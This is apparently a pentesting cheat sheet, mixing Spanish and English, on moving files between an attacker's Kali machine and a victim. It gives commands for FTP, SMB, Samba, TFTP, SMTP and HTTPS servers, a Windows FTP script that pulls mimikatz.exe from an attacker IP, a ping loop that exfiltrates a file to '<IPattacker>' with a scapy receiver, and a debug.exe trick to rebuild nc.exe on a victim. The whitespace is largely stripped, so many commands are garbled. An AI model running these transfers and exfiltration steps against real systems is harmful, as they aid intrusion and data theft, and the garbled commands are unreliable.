# from https://gist.github.com/dergachev/7028596# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/# generate server.xml with the following command:# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes# run as follows:# python simple-https-server.py# then in your browser, visit:# https://localhost:443import BaseHTTPServer, SimpleHTTPServerimport sslhttpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)httpd.serve_forever()
#Run the following script to configure the FTP server#!/bin/bashgroupaddftpgroupuseradd-gftpgroup-d/dev/null-s/etcftpuserpure-pwduseraddfusr-uftpuser-d/ftphomepure-pwmkdbcd/etc/pure-ftpd/auth/ln-s../conf/PureDB60pdbmkdir-p/ftphomechown-Rftpuser:ftpgroup/ftphome//etc/init.d/pure-ftpdrestart
Windows client
#Work well with python. With pure-ftp use fusr:ftpechoopen10.11.0.4121>ftp.txtechoUSERanonymous>>ftp.txtechoanonymous>>ftp.txtechobin>>ftp.txtechoGETmimikatz.exe>>ftp.txtechobye>>ftp.txtftp-n-v-s:ftp.txt
SMB
Kali
Kali como servidor:
kali_op1> impacket-smbserver-smb2supportkali`pwd`# Share current directorykali_op2> smbserver.py-smb2supportname/path/folder# Share a folder#For new Win10 versionsimpacket-smbserver-smb2support-usertest-passwordtesttest`pwd`
Samba
Crear un recurso compartido vía smb utilizando samba:
apt-getinstallsambamkdir/tmp/smbchmod777/tmp/smb#Add to the end of /etc/samba/smb.conf this:[public]comment=SambaonUbuntupath=/tmp/smbreadonly=nobrowsable=yesguestok=Yes#Start sambaservicesmbdrestart
Windows
CMD-Wind> \\10.10.14.14\path\to\exeCMD-Wind> netusez: \\10.10.14.14\test/user:testtest#For SMB using credentialsWindPS-1> New-PSDrive-Name"new_disk"-PSProvider"FileSystem"-Root"\\10.10.14.9\kali"WindPS-2> cdnew_disk:
SCP
El atacante debe tener SSHd corriendo en su máquina
#In order to exfiltrate the content of a file via pings you can do:xxd-p-c4/path/file/exfil|whilereadline; doping-c1-p $line <IPattacker>; done#This will 4bytes per ping packet (you could probably increase this until 16)
from scapy.all import*#This is ippsec receiver created in the HTB machine Mischiefdefprocess_packet(pkt):if pkt.haslayer(ICMP):if pkt[ICMP].type ==0: data = pkt[ICMP].load[-4:]#Read the 4bytes interestingprint(f"{data.decode('utf-8')}", flush=True, end="")sniff(iface="tun0", prn=process_packet)
SMTP
Si puedes mandar datos a un servidor SMTP, puedes crear un SMTP server para recibir esos datos con Python:
sudopython-msmtpd-n-cDebuggingServer:25
TFTP
Instalado por defecto en Win XP y 2003 (en otros el servicio debe ser instalado explicitamente).
Kali
#I didn't get this options working and I prefer the python optionmkdir/tftpatftpd--daemon--port69/tftpcp/path/tp/nc.exe/tftp
Esta es una técnica que solo funciona en Windows de 32 Bits.
Basicamente la idea es utilizar debug.exe (se utiliza para inspeccionar binarios pero tambien puede reconstruirlos desde hexadecimal).
La idea es coger un binario como nc.exe. Lo desensamblamos en hexadecimal, lo comprimimos al máximo (pues debug solo acepta 64kb o menos) y lo volvemos a ensamblar en la máquina víctima.
Con el siguiente código lo comprimimos:
upx -9 nc.exe
Ahora que pesa solo 29kb lo desensamblamos con exe2bat.exe (utilizamos wine para ejecutar el .exe):
wine exe2bat.exe nc.exe nc.txt
Después solo tenemos que escribir nuestro código en la windows-shell y ésta automáticamente creará el ejecutable.